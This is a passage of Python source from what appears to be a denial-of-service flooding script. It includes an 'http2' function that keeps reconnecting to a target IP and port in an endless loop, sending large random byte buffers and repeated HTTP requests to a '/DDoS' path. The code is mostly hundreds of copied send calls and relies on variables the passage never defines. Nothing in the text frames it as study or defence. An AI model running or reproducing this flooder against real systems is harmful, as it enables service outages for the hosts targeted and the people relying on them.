               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
        except socket.error:
            s.close()
def http2():
    header = Headers("get")
    i = random.choice(("[HTTP]","[TCP]","[BRUTE]"))
    data = random._urandom(90048)
    if method == "get":
        get_host = "GET /DDoS HTTP/1.1\r\nHost: " + ip + "\r\n"
        request  = get_host + header + "\r\n"
    else:
        get_host = random.choice(['GET','POST','HEAD']) + " /DDoS HTTP/1.1\r\nHost: " + ip + "\r\n"
        request  = get_host + header + "\r\n"
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            s.connect((ip,port))
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            for x in range(times):
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
